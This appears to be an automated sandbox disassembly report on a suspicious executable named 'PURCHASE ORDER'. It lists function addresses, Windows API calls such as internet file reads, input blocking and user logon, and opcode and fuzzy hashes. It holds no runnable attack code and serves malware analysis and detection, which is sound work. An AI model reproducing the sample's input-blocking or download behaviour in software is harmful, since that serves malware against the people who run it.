                                                                            • Part of subcall function 00414CEF: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,004341DB,00000000,?,0044248A,?,?,?,0048B850), ref: 00414CFA
                                                                            • Part of subcall function 00414CEF: __aulldiv.LIBCMT ref: 00414D1A
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Time$FileSystem__aulldiv__time64
                                                                          • String ID: rJ
                                                                          • API String ID: 2893107130-1865492326
                                                                          • Opcode ID: e8e365b2ab883cc854990c78a2143569adcb81f7322f31e235de15ec19987b7e
                                                                          • Instruction ID: 4b4e0c3debee0a45c2bc781276f994e79ac96c452fb6cf924f1e6ade5adf298d
                                                                          • Opcode Fuzzy Hash: e8e365b2ab883cc854990c78a2143569adcb81f7322f31e235de15ec19987b7e
                                                                          • Instruction Fuzzy Hash: E82187336345108BF321CF36CC4165277E3EBE0314B258B6AD4A5973C5CA797906CB88
                                                                          Function 0044289D Relevance: 3.1, APIs: 2, Instructions: 82networkfileCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • InternetQueryDataAvailable.WININET(?,?,?,?,00000000,00000000), ref: 004428C2
                                                                          • InternetReadFile.WININET(?,00000000,?,?), ref: 004428F9
                                                                            • Part of subcall function 0044286A: GetLastError.KERNEL32(00000000,0044AA07,?,00000000,00000000,00000001,?,?), ref: 00442880
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Internet$AvailableDataErrorFileLastQueryRead
                                                                          • String ID:
                                                                          • API String ID: 901099227-0
                                                                          • Opcode ID: 0771251b70b9bd68c35fac6f7da5b5f16004994504cb59d35d549d3fc14a9ba4
                                                                          • Instruction ID: 2c15810e60b1cb59304632cc8162977c32d0240baa2dcf3c2cd6ef22f942a6bb
                                                                          • Opcode Fuzzy Hash: 0771251b70b9bd68c35fac6f7da5b5f16004994504cb59d35d549d3fc14a9ba4
                                                                          • Instruction Fuzzy Hash: 452174B12043016BF220EF56DD45FAFB3E8ABD4715F40492EF285A6180D7B8E949C76A
                                                                          Function 0045DD7C Relevance: 3.1, APIs: 2, Instructions: 56fileCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • FindFirstFileW.KERNEL32(00000000,?,?), ref: 0045DDA1
                                                                          • FindClose.KERNEL32(00000000), ref: 0045DDDD
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Find$CloseFileFirst
                                                                          • String ID:
                                                                          • API String ID: 2295610775-0
                                                                          • Opcode ID: eac1d012b3ae473636f11b903683455954ec17c127a785734040b224e9a5f79e
                                                                          • Instruction ID: 3577cc1601137e614a3334ffa73c6d258275d41fe8d72aaca367a27ef3e2a016
                                                                          • Opcode Fuzzy Hash: eac1d012b3ae473636f11b903683455954ec17c127a785734040b224e9a5f79e
                                                                          • Instruction Fuzzy Hash: DE11E5766002049FD710EF6ADC89A5AF7E5EF84325F10892EF958D7281CB75E8048B94
                                                                          Function 0047CBF0 Relevance: 2.9, Strings: 2, Instructions: 418COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: 0vH$HH
                                                                          • API String ID: 0-728391547
                                                                          • Opcode ID: 96d535d6e61c6cd6e5d21badf476ce2a2faa32e114d6f0ae27a3d334794412dd
                                                                          • Instruction ID: 538a6706abcc28c04bdc151be30d2aa4e2083a8dfdfa6c30a7857f36827e6882
                                                                          • Opcode Fuzzy Hash: 96d535d6e61c6cd6e5d21badf476ce2a2faa32e114d6f0ae27a3d334794412dd
                                                                          • Instruction Fuzzy Hash: 60E1BE725143109FC310EF25C881A9FB7E5AFC4708F108D2EF589AB281D779E946CB9A
                                                                          Function 0040F890 Relevance: 2.1, APIs: 1, Instructions: 589COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: _memset
                                                                          • String ID:
                                                                          • API String ID: 2102423945-0
                                                                          • Opcode ID: b8def19716de174921965326585c8a0a0c2eba4d3f226f62ebfac136bfb84777
                                                                          • Instruction ID: fac722ae1e10b3ad9494cda40f9fb3e9e62b3c26aea04ddfc6562ea9d2065ebb
                                                                          • Opcode Fuzzy Hash: b8def19716de174921965326585c8a0a0c2eba4d3f226f62ebfac136bfb84777
                                                                          • Instruction Fuzzy Hash: C512B4B7B983194FDB48DEE4DCC169573E1FB98304F09A43C9A15C7306F6E8AA094794
                                                                          Function 0047E1FA Relevance: 2.0, APIs: 1, Instructions: 499COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • DefDlgProcW.USER32(?,?,?,?,004A83D8,?), ref: 0047E22C
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Proc
                                                                          • String ID:
                                                                          • API String ID: 2346855178-0
                                                                          • Opcode ID: 4f476b527310cd4595d6f2246be334f82b87c4d4a511bc9a4ae10ad49a3a576c
                                                                          • Instruction ID: e1c03c818efbd3cbf3664a0c3e659178dbc9a05004c0f073233894ce1d713c90
                                                                          • Opcode Fuzzy Hash: 4f476b527310cd4595d6f2246be334f82b87c4d4a511bc9a4ae10ad49a3a576c
                                                                          • Instruction Fuzzy Hash: 4EB1E63330602429E114916BBC88EBFBB9CD7D677BB208B7FF142C1582DB5B6425A179
                                                                          Function 0045A259 Relevance: 1.5, APIs: 1, Instructions: 21keyboardCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • BlockInput.USER32(00000001), ref: 0045A272
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: BlockInput
                                                                          • String ID:
                                                                          • API String ID: 3456056419-0
                                                                          • Opcode ID: f8b7596c9daf0cf449ec099d4cdbafb4be693b9bdeaa48314d03f681346fce8b
                                                                          • Instruction ID: 5d782454ef4d0180448527013755d2523f66e5fc327f68786c1d80a86620ac83
                                                                          • Opcode Fuzzy Hash: f8b7596c9daf0cf449ec099d4cdbafb4be693b9bdeaa48314d03f681346fce8b
                                                                          • Instruction Fuzzy Hash: D2E04F752043019BC700EF71C545A5BB7E4AF94314F108C6EF845A7351D775AC45CB66
                                                                          Function 0043916A Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LogonUserW.ADVAPI32(?,?,?,?,00000000,?), ref: 0043918E
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: LogonUser
                                                                          • String ID:
                                                                          • API String ID: 1244722697-0
                                                                          • Opcode ID: 365ca9639b26e9c6c56151d88f527b1e4ffaee0f54dfd66c8778d151900be7f4
                                                                          • Instruction ID: 63114e5cfb2c4979e73f5d19eacf740c811f86df1a08bc2cb556a5e36cce81ff
                                                                          • Opcode Fuzzy Hash: 365ca9639b26e9c6c56151d88f527b1e4ffaee0f54dfd66c8778d151900be7f4
                                                                          • Instruction Fuzzy Hash: 8DD0ECB52686066FD204CB24D846E2B77E9A7C4701F008A0CB196D2280C670D805CA32
                                                                          Function 004711D2 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: NameUser
                                                                          • String ID:
                                                                          • API String ID: 2645101109-0
                                                                          • Opcode ID: b783c70369e54a54257db95ea8fbffa2a0b511f3d9d58af1a6b6f1143851980f
                                                                          • Instruction ID: 8011c19b6c32d183c263453b2018abc548473ce9ed5616c99acac4896e71f792
                                                                          • Opcode Fuzzy Hash: b783c70369e54a54257db95ea8fbffa2a0b511f3d9d58af1a6b6f1143851980f
                                                                          • Instruction Fuzzy Hash: F6E08C322083058FC310EF55F8405ABB390EB94311F004C3FE64AA2191DA79920EDFAB
                                                                          Function 0042202E Relevance: 1.5, APIs: 1, Instructions: 4COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SetUnhandledExceptionFilter.KERNEL32(Function_00021FEC), ref: 00422033
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: ExceptionFilterUnhandled
                                                                          • String ID:
                                                                          • API String ID: 3192549508-0
                                                                          • Opcode ID: 299f58dbcf75cd09f1fee721c9404e411c3f17cf80a1a40ae63587de51767455
                                                                          • Instruction ID: 3275b40964251646410af8875a24301f93fa315c26af6adae0ca3d0f7a721f84
                                                                          • Opcode Fuzzy Hash: 299f58dbcf75cd09f1fee721c9404e411c3f17cf80a1a40ae63587de51767455
                                                                          • Instruction Fuzzy Hash: CD9002743511144A4A011BB16E5D90925D46A586067920875B411C4064DB9840019619
                                                                          Function 00412C38 Relevance: .4, Instructions: 384COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
                                                                          • Instruction ID: b3f199f19983f506b623bfe7955a95149e6efe4e98ce3416cc40fa12ddcf4508
                                                                          • Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
                                                                          • Instruction Fuzzy Hash: 46D19073C0A9B30A8735812D42582BFEE626FD578131EC3E29CD07F38AD26B5DA195D4
                                                                          Function 00412818 Relevance: .4, Instructions: 378COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
                                                                          • Instruction ID: c47bdb3f9c9e38c5d46ddb9e43dedaf70276048770aeb58bd274f21c588a824b
                                                                          • Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
                                                                          • Instruction Fuzzy Hash: 1CD19073D1A9B30A8735852D42581AFEE626FD578031EC3E2CCD07F38AD16B5DA191D4
                                                                          Function 0041240C Relevance: .4, Instructions: 361COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
                                                                          • Instruction ID: ac15b8da1a4b082d71a0b082c8349c97121379a14580263daf363e6ab8f75410
                                                                          • Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
                                                                          • Instruction Fuzzy Hash: 87C18173C0A9B30A8736812D42641AFEE626FD579031FC3E2CCD47F38A91AB5DA195D4
                                                                          Function 00412038 Relevance: .4, Instructions: 351COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
                                                                          • Instruction ID: aa957cafbedeae1199dea6a597ba911d219650f283d164fb65797e90308ef47b
                                                                          • Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
                                                                          • Instruction Fuzzy Hash: 5FC18E73D0A9B30A8735812D42581AFEE626FD578031EC3E28CE46F38ED26F5DA195D4
                                                                          Function 00490D70 Relevance: .1, Instructions: 112COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 3dbcb95d8853a77b56ec50cdb0c284265cec7a7e0b377f71204c4f1873c40391
                                                                          • Instruction ID: d9d670c3ac7fc3769ab2a43ab683787850cccd854d037ab50c1fe738447f1eb1
                                                                          • Opcode Fuzzy Hash: 3dbcb95d8853a77b56ec50cdb0c284265cec7a7e0b377f71204c4f1873c40391
                                                                          • Instruction Fuzzy Hash: 4E41456544E7D04FCB138BB888B9AA27FB0AE07214B5F44DBC5C5CF4B3D658994AC722
                                                                          Function 00410D10 Relevance: .0, Instructions: 19COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 304d221b5688423ebfa6c473264aec07cdb78ae451f757bdd5acbbf2c1e92ad4
                                                                          • Instruction ID: b8cfd58d412160527e66ace840abba843d94ac3f5b06779728c9fe736b8606cc
                                                                          • Opcode Fuzzy Hash: 304d221b5688423ebfa6c473264aec07cdb78ae451f757bdd5acbbf2c1e92ad4
                                                                          • Instruction Fuzzy Hash: ECD012F621844146F33144D866C0BD100437344310FB58C276005CEBC1C0DDECD6C229
                                                                          Function 00459384 Relevance: 79.2, APIs: 41, Strings: 4, Instructions: 480filewindowcomCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • DeleteObject.GDI32(?), ref: 004593D7
                                                                          • DeleteObject.GDI32(?), ref: 004593F1
                                                                          • DestroyWindow.USER32(?), ref: 00459407
                                                                          • GetDesktopWindow.USER32 ref: 0045942A
                                                                          • GetWindowRect.USER32(00000000), ref: 00459431
                                                                          • SetRect.USER32(50000001,00000000,00000000,000001F4,?), ref: 00459568
                                                                          • AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 00459577
                                                                          • CreateWindowExW.USER32(?,AutoIt v3,00000000,?,88C00000,?,?,50000001,?,?,00000000,00000000), ref: 004595BB
                                                                          • GetClientRect.USER32(00000000,?), ref: 004595C8
                                                                          • CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,?,00000000,00000000,00000000), ref: 00459615
                                                                          • CreateFileW.KERNEL32(00000000,?,80000000,00000000,00000000,00000003,00000000,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459635
                                                                          • GetFileSize.KERNEL32(00000000,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459654
                                                                          • GlobalAlloc.KERNEL32(00000002,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 0045965F
                                                                          • GlobalLock.KERNEL32(00000000), ref: 00459668
                                                                          • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459678
                                                                          • GlobalUnlock.KERNEL32(00000000), ref: 0045967F
                                                                          • CloseHandle.KERNEL32(00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459686
                                                                          • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,50000001,?,?,00000000,00000000,00000000), ref: 00459694
                                                                          • OleLoadPicture.OLEAUT32(?,00000000,00000000,00482A20,000001F4), ref: 004596AD
                                                                          • GlobalFree.KERNEL32(00000000), ref: 004596C0
                                                                          • CopyImage.USER32(000000FF,00000000,00000000,00000000,00002000), ref: 004596EF
                                                                          • SendMessageW.USER32(00000000,00000172,00000000,000000FF), ref: 00459712
                                                                          • SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,50000001,?,?,00000000,00000000,00000000), ref: 0045973D
                                                                          • ShowWindow.USER32(?,00000004,?,50000001,?,?,00000000,00000000,00000000), ref: 0045974B
                                                                          • CreateWindowExW.USER32(00000000,static,00000000,?,?,0000000B,0000000B,?,?,?,00000000,00000000), ref: 0045979C
                                                                          • CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 004597AD
                                                                          • GetStockObject.GDI32(00000011), ref: 004597B7
                                                                          • SelectObject.GDI32(00000000,00000000), ref: 004597BF
                                                                          • GetTextFaceW.GDI32(00000000,00000040,00000190,?,50000001,?,?,00000000,00000000,00000000), ref: 004597CD
                                                                          • GetDeviceCaps.GDI32(00000000,0000005A), ref: 004597D6
                                                                          • DeleteDC.GDI32(00000000), ref: 004597E1
                                                                          • _wcslen.LIBCMT ref: 00459800
                                                                          • _wcscpy.LIBCMT ref: 0045981F
                                                                          • CreateFontW.GDI32(?,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,00000190), ref: 004598BB
                                                                          • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 004598D0
                                                                          • GetDC.USER32(?), ref: 004598DE
                                                                          • SelectObject.GDI32(00000000,?), ref: 004598EE
                                                                          • SelectObject.GDI32(00000000,?), ref: 00459919
                                                                          • ReleaseDC.USER32(?,00000000), ref: 00459925
                                                                          • MoveWindow.USER32(?,0000000B,?,?,?,00000001), ref: 00459943
                                                                          • ShowWindow.USER32(?,00000004,?,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,00000190), ref: 00459951
                                                                          Strings
                                                                          Memory Dump Source
